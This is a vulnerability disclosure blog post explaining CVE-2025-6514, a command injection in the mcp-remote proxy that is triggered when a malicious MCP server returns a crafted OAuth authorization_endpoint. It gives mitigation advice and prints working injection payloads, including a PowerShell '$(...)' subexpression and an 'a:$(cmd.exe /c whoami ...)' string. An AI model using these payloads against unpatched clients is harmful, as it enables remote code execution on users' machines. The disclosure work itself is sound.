

Critical RCE Vulnerability in mcp-remote: CVE-2025-6514 Threatens LLM Clients

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Content

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[[image: MCP-Remote Clients Exposed to Remote Code Execution_863x300](#)]

The JFrog Security Research team has recently discovered and disclosed [CVE-2025-6514](#) – a critical ([CVSS 9.6](#)) security vulnerability in the [mcp-remote](#) project – a popular tool used by Model Context Protocol clients. The vulnerability allows attackers to trigger arbitrary OS command execution on the machine running mcp-remote when it initiates a connection to an untrusted MCP server, posing a significant risk to users – a full system compromise.

mcp-remote is a proxy that enables Large Language Model (LLM) hosts such as Claude Desktop to communicate with remote MCP servers, even if natively they only support communicating with local MCP servers.

While previously published research has demonstrated risks from MCP clients connecting to malicious MCP servers, **this is the first time that full remote code execution is achieved in a real-world scenario** on the client operating system when connecting to an untrusted remote MCP server.

We would like to thank Glen Maddern ([@geelen](#)), mcp-remote’s primary maintainer, for promptly fixing this vulnerability.

Who is affected by CVE-2025-6514?

The vulnerability affects mcp-remote versions 0.0.5 to 0.1.15, and is fixed since version 0.1.16.

Anyone using mcp-remote that connects to an untrusted or insecure MCP server using an affected version is vulnerable to this attack.

On Windows, we have proven that this vulnerability leads to arbitrary OS command execution (shell commands with full parameter control). On macOS and Linux, the vulnerability leads to execution of arbitrary executables with limited parameter control. Arbitrary OS command execution on these platforms **may be achievable** with further research.

Attack scenarios:

- **Scenario 1** – An MCP client uses mcp-remote to connect to an untrusted (hijacked or malicious) MCP server.

[image: Figure1 - Connecting]Figure 1: MCP client uses mcp-remote to connect to an untrusted MCP server.

- **Scenario 2** – An MCP client uses mcp-remote to connect to an MCP server insecurely (server's URL scheme is http) – while attackers in the local LAN perform a man in the middle attack to hijack the MCP traffic. This is a likely scenario inside local networks, since MCP clients are more likely to trust LAN-based MCP servers and connect to them insecurely.

[image: Figure 2 - Attacker Redirect]Figure 2: An MCP client uses mcp-remote to connect insecurely to an MCP server while local attackers redirect/control the MCP traffic

How can CVE-2025-6514 be mitigated?

Performing any of the following steps will mitigate CVE-2025-6514:

- Update mcp-remote to version 0.1.16, which includes a fix for this vulnerability. This is the recommended solution.
- Only connect to trusted MCP Servers, using HTTPS (secure connection).

MCP Transport - Local vs Remote

Model Context Protocol (MCP) is an open standard that emerged in November 2024 and gained immediate traction and adoption. It enables AI assistants and LLM hosts to securely connect to and interact with external data sources, tools, and services in real-time. It allows these AI systems to access live information from databases, APIs, and applications while maintaining security and user control over what data the models can access.

[image: Figure 3- LLM Application]Figure 3: LLM Application uses a local MCP Server running on the same machine

Initially, MCP servers were deployed locally, running on the same machine as the LLM application. Remote MCP servers have since emerged, enabling multiple LLM applications to share the same MCP server instance, while reducing the operational burden of maintaining and updating servers across individual installations.

[image: Figure 4-Remote-MCP-Server] Figure 4: LLM Application uses a remote MCP Server by locally talking to mcp-remote, that proxies the communication to the remote MCP Server over HTTP

The mcp-remote tool gained popularity in the AI community when remote MCP server implementations began to emerge, while most MCP clients still only supported connecting to local servers.

This tool enables applications that only support local MCP transport via STDIO, like Claude Desktop, Cursor, and Windsurf, to connect with remote MCP servers via HTTP transport by serving as a proxy.

mcp-remote is widely used, as can be seen in Cloudflare's [official Docs](#), [auth0 integration docs](#), Hugging Face's [blog](#), and tutorials for remote MCP adoption.

Note that in recent weeks – LLM hosts such as Cursor and Windsurf have added the ability to directly connect to remote MCP Servers. Additionally – Anthropic added this capability to Claude Desktop users with paid subscriptions.

CVE-2025-6514 Summary

When users want to configure their LLM host, such as Claude Desktop, to connect to a remote MCP server, they edit Claude's configuration file to add an mcp-remote command with only the remote MCP server's URL.

```
{
  "mcpServers": {
    "remote-mcp-server-example": {
      "command": "npx",
      "args": [
        "mcp-remote",
        "http://remote.server.example.com/mcp"
      ]
    }
  }
}
```

Figure 5: Sample MCP json configuration file that configures a remote MCP server using mcp-remote

Upon saving the configuration or restarting Claude Desktop, mcp-remote begins initial communication with the MCP server. The server may ask it to authenticate, and mcp-remote goes on to ask the server for metadata of its OAuth endpoints. The server responds with its `authorization_endpoint` URL (e.g. `https://remote.server.example.com/authorize`) among other values, to be opened in a browser for the user to enter their credentials.

To trigger the vulnerability – a malicious MCP server can respond with a specially crafted `authorization_endpoint` URL value as can be seen in the figure below:

*[image: Figure 6 - Remote Connection Initialization]**Figure 6: mcp-remote initializes connection with a malicious MCP Server*

mcp-remote will try to open this crafted URL in a browser, which, due to CVE-2025-6514, will cause a command injection, allowing the attacker to achieve arbitrary OS command execution.

[image: Remote MPC - Figure7] Figure 7: calc.exe running as a result of our exploit

CVE-2025-6514 Technical Details

mcp-remote serves as a proxy between local (STDIO) MCP transport and remote (Streamable/SSE – HTTP based protocols) transport, while providing authentication/authorization capabilities.

For setting up a new remote MCP Server using mcp-remote, the user only has to add the server's URL in the MCP Client's JSON configuration file – as shown in Figure 5 above.

Upon re-opening the MCP Client's application, as in the case of Claude Desktop, it runs the supplied npx command, creates a Node process, and starts mcp-remote's

`proxy.ts:runProxy` function with the `serverUrl` parameter provider in the above config file.

This function constructs a `Node0AuthClientProvider` object that is to be used in case the remote server requires authorization.

Eventually, a `StreamableHTTPClientTransport` object is created and its `send` method gets invoked with the supplied `serverUrl` parameter. The request, in this case to **"http://remote.server.example.com/mcp"**, will encounter a "401 Unauthorized" response from the "malicious" server – leading it to call the `auth.ts:auth` function to begin authorization. Let's see what happens in the `auth` function, which has been simplified for clarity:

```

export async function auth(
  provider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise {
  let authorizationServerUrl = serverUrl;
  try {
    /* ### 1 ### */
    const resourceMetadata = await discoverOAuthProtectedResourceMetadata(
      resourceMetadataUrl || serverUrl);
    /* ... */
  } catch (error) {console.warn("Could not load OAuth..", error)}

  /* ### 2 ### */
  const metadata = await discoverOAuthMetadata(authorizationServerUrl);

  // Handle client registration if needed
  let clientInformation = await Promise.resolve(provider.clientInformation());
  if (!clientInformation) {
    /* ... */
    /* ### 3 ### */
    const fullInformation = await registerClient(serverUrl, {
      metadata,
      clientMetadata: provider.clientMetadata });
    /* ... */
  }

  /* ... */

  // Start new authorization flow
  /* ### 4 ### */
  const { authorizationUrl, codeVerifier } = await
startAuthorization(authorizationServerUrl, {
  metadata,
  clientInformation,
  redirectUrl: provider.redirectUrl,
  scope: scope || provider.clientMetadata.scope,
});

  await provider.saveCodeVerifier(codeVerifier);
  /* ### 5 ### */
  await provider.redirectToAuthorization(authorizationUrl);
  return "REDIRECT";
}

```

Figure 8: Simplified snippet of auth function from auth.ts ([official MCP Typescript SDK](#))

This function is used for starting the OAuth authorization flow. Let's follow through the `###` numbered inline comments:

- We skip `discoverOAuthProtectedResourceMetadata`'s logic by returning 401 Unauthorized from our server to this function's fetch request (`http://remote.server.example.com/.well-known/oauth-protected-resource`)
- Then `discoverOAuthMetadata` is called, fetching OAuth metadata from our server's `/.well-known/oauth-authorization-server` endpoint, which returns a JSON object listing OAuth endpoints and configuration parameters. Included in this response is the `authorization_endpoint` field. Its value typically contains a standard HTTP URL used for authenticating users, but for triggering a command execution the malicious server returns a crafted value:

```
{"authorization_endpoint": "file:/c:/windows/system32/calc.exe",  
  "registration_endpoint": "https://remote.server.example.com/register", /* ... */  
  "code_challenge_methods_supported": ["S256"]}
```

- It proceeds to dynamic client registration: accessing our `/register` endpoint – we give a valid answer so flow continues.
- The `startAuthorization` function is called (see below) and uses the `metadata.authorization_endpoint` string we supplied in step 2 above to **construct a new URL()**. It then adds query-string parameters to it and returns it:

```
export async function startAuthorization(  
  serverUrl, {metadata, clientInformation, redirectUrl, scope } {  
  if (metadata) {  
    authorizationUrl = new URL(metadata.authorization_endpoint);  
    //javascript:$(calc.exe)  
    /* ... checks some metadata params that pass ... */  
  }  
  /* ... */  
  /* adding searchParams (query-string) to the authorizationUrl */  
  authorizationUrl.searchParams.set("response_type", responseType);  
  /* ... */  
  return { authorizationUrl, codeVerifier };  
}
```

Figure 9: Simplified snippet of `startAuthorization` function from `auth.ts` ([official MCP Typescript SDK](#))

- Then `provider.redirectToAuthorization(authorizationUrl)` calls the `redirectToAuthorization` method of our `NodeOAuthClientProvider` object, which resides in **`node-oauth-client-provider.ts`**:

```

async redirectToAuthorization(authorizationUrl: URL): Promise {
  log(`\nPlease authorize this client by visiting:\n${authorizationUrl.toString()}\n`)
  try {
    await **open** (authorizationUrl.toString()) /* ### 6 ### */
    log('Browser opened automatically.')
  } catch (error) {
    /* ... */
  }
}

```

Figure 10: Simplified snippet of `redirectToAuthorization` function from `node-oauth-client-provider.ts`

- The `open()` function is imported from the `'open' npm package`. `open(param)` does the following on Windows machines*:
 - Finds powershell.exe's path
 - Prepares a PowerShell encoded-command that will run the param argument.
 - Runs it in a new subprocess with the following command line:

powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand 'UwB0AGEAcgB0ACAAIgBqAGEAdgB....='

- PowerShell decodes the command and runs it. In our case – it will execute `calc.exe`:

Start "file:/c:/windows/system32/calc.exe?response_type=code....."

- The `'open'` package uses different code paths on macOS and Linux, executing "open URL" or "xdg-open URL" respectively. While these implementations can also be exploited to run arbitrary executables through `file://` URLs, the attack surface is more limited since no shell is invoked, restricting the ability to control the executable's arguments.

From limited to full command execution

The `Start` keyword, which refers to PowerShell's `Start-Process` cmdlet, can run an executable file, or pass it to Windows Shell for file extension associations or protocol handlers (URI schemes).

Because the `authorization_endpoint` string is used for constructing a `new URL()`, it must be in valid URL format, starting with a URI scheme.

When supplying `"file:/c:/windows/system32/calc.exe?response_type=code....."` – the `file: URI scheme` will be used to execute the `calc.exe` executable.

[image: Figure 11 - Remote Execution] Figure 11: `mcp-remote` executes the `calc.exe` process while intending to open a browser for authorization

Now we have the ability to run any executable, but without arguments – which isn't useful enough.

We can attempt to execute a remote file by using URLs such as

“file://IP_ADDR/Share/test.bat?response_type=code.....”, which points to a UNC path for accessing network resources (note the double backslashes).

It works – but Windows pops a security warning about running a remote executable:

[\[image: Remote MCP -\]](#) *Figure 12: Security warning that shows as a result of trying to execute a UNC path*

Let’s try a different strategy – since the command runs inside a PowerShell, we can abuse the subexpression evaluation feature for injecting our commands:

“http://www.example\$(calc.exe).com/?response_type=code.....”. This will run calc.exe, due to the [subexpression operator \\$\(\)](#), which will evaluate (run) its parameter expression.

If we were able to supply a “space” character, this technique would allow us to inject arbitrary parameters to the command, but because our string went through `URL()`, and space is not a valid character in URLs, it will either fail the `new URL()` call – if inside the domain – or get URL encoded to `%20`. For example, this input

“http://www.example.com/\$(cmd.exe /c echo test)” is translated to

“http://www.example.com/\$(cmd.exe%20/c%20echo%20test)?response_type=code.....”

The same happens for “file:” attempts.

Eventually, we noticed that supplying a non-existing scheme that doesn’t include a backslash – doesn’t get URL-encoded. Thus, we can supply **“a:\$(cmd.exe /c whoami > c:\\temp\\pwned.txt)?response_type=code.....”** and achieve full command execution!

[\[image: Remote MPC - Figure13\]](#)

Figure 13: A new pwned.txt file created in C:\temp as a result of our cmd.exe /c command – proving the code execution succeeded.

Summary

With the discovery of CVE-2025-6514, we’ve shown that remote code execution is possible when connecting to untrusted MCP servers. As mentioned, LLM hosts such as Cursor, Windsurf and Claude have now added similar remote MCP connection capabilities. MCP users must take special care to connect only to trusted MCP servers using secure connection methods (HTTPS) since similar vulnerabilities to CVE-2025-6514 could be discovered in the ever-growing MCP ecosystem.

To stay on top of other attacks and zero-day vulnerabilities, make sure to check out the [JFr og Security Research](#) center for the latest on CVEs, vulnerabilities and fixes.